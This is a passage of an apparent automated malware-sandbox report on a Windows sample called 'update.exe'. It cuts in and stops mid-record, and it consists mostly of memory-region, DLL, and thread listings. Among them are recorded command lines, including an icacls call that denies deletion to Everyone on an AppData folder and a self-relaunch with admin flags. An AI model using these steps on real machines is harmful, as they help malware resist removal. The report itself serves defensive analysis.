AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 564 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 565 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 566 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 567 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 568 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 569 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 570 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 571 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 572 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 573 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 574 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 575 start_va = 0x1b0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 576 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 577 start_va = 0x3b0000 end_va = 0x537fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 578 start_va = 0x540000 end_va = 0x6c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 579 start_va = 0x6d0000 end_va = 0x1acffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 580 start_va = 0x1ad0000 end_va = 0x1ec2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ad0000" filename = "" Region: id = 581 start_va = 0x1ed0000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 582 start_va = 0x1fd0000 end_va = 0x204ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 583 start_va = 0x2060000 end_va = 0x20dffff entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 584 start_va = 0x2210000 end_va = 0x228ffff entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 585 start_va = 0x2290000 end_va = 0x255efff entry_point = 0x2290000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 586 start_va = 0x25a0000 end_va = 0x261ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 587 start_va = 0x2640000 end_va = 0x26bffff entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 588 start_va = 0x2780000 end_va = 0x27fffff entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 589 start_va = 0x2840000 end_va = 0x28bffff entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 590 start_va = 0x28c0000 end_va = 0x299efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000028c0000" filename = "" Region: id = 591 start_va = 0x2a10000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 592 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 593 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 594 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 595 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 596 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 597 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 598 start_va = 0xffcf0000 end_va = 0xffd63fff entry_point = 0xffcf0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 599 start_va = 0x7fef7bb0000 end_va = 0x7fef7bb8fff entry_point = 0x7fef7bb0000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 600 start_va = 0x7fefab80000 end_va = 0x7fefab89fff entry_point = 0x7fefab80000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 601 start_va = 0x7fefbaa0000 end_va = 0x7fefbad4fff entry_point = 0x7fefbaa0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 602 start_va = 0x7fefbae0000 end_va = 0x7fefbaf7fff entry_point = 0x7fefbae0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 603 start_va = 0x7fefbf10000 end_va = 0x7fefbf65fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 604 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 605 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 606 start_va = 0x7fefd0e0000 end_va = 0x7fefd14cfff entry_point = 0x7fefd0e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 607 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 608 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 609 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 610 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 611 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 612 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 613 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 614 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 615 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 616 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 617 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 618 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 619 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 620 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 621 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 622 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 623 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 624 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 625 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 626 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 627 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 628 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 629 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 630 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 631 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 632 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 633 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 4 os_tid = 0x61c Thread: id = 5 os_tid = 0x5f4 Thread: id = 6 os_tid = 0x5f0 Thread: id = 7 os_tid = 0x5b4 Thread: id = 8 os_tid = 0x5a8 Thread: id = 9 os_tid = 0x5a0 Thread: id = 39 os_tid = 0x99c Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x5051b000" os_pid = "0x8f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8dc" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 222 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 223 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 224 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 225 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 226 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 227 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 228 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 229 start_va = 0x860000 end_va = 0x869fff entry_point = 0x860000 region_type = mapped_file name = "icacls.exe" filename = "\\Windows\\SysWOW64\\icacls.exe" (normalized: "c:\\windows\\syswow64\\icacls.exe") Region: id = 230 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 231 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 232 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 233 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 234 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 235 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 236 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 237 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 238 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 239 start_va = 0x3d0000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 240 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 241 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 242 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 243 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 244 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 245 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 246 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 247 start_va = 0x610000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 248 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 249 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 250 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 251 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 252 start_va = 0x1b0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 253 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 254 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 255 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 256 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 257 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 258 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 259 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 260 start_va = 0x4e0000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 261 start_va = 0x750c0000 end_va = 0x750e0fff entry_point = 0x750c0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 262 start_va = 0x756a0000 end_va = 0x756e4fff entry_point = 0x756a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 263 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Thread: id = 10 os_tid = 0x8f4 Thread: id = 11 os_tid = 0x8f8 Process: id = "4" image_name = "update.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe" page_root = "0x4edb4000" os_pid = "0x904" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8dc" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 292 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 293 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 294 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 295 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 296 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 297 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 298 start_va = 0x400000 end_va = 0x49afff entry_point = 0x400000 region_type = mapped_file name = "update.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe") Region: id = 299 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 300 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 301 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 302 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 303 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 304 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 305 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 306 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 307 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 308 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 309 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 310 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 311 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 312 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 313 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 314 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 315 start_va = 0x240000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 316 start_va = 0x340000 end_va = 0x3a6fff entry_point = 0x340000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 317 start_va = 0x620000 end_va = 0x62ffff entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 318 start_va = 0x75290000 end_va = 0x75294fff entry_point = 0x75290000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 319 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 320 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 321 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 322 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 323 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 324 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 325 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 326 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 327 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = 